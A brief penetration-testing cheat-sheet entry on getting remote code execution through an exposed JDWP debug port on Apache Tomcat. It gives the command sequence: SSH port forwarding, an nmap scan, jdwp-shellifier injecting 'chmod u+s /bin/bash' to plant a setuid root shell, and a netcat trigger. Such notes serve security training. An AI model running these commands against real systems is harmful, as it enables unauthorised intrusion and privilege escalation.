JDWP Remote Code Execution
Java Debug Wire Protocol (JDWP) Remote Code Execution
REQUIREMENTS: The apache tomcat server has the debugging enabled: jdwp=transport=dt_socket,address=localhost:8000,server=y
Tools: https://github.com/IOActive/jdwp-shellifier
STEPS:
ss -tulpn ssh -L 8888:127.0.0.1:8000 USER@TARGET_IP sudo nmap -sC -sV -p 8888 127.0.0.1 python2 jdwp-shellifier.py -t 127.0.0.1 -p 8888 --cmd 'chmod u+s /bin/bash' nc localhost 8005 PreviousInternet Relay Chat (IRC) Penetration TestingNextJava Remote Management Interface (RMI) Penetration Testing
Last updated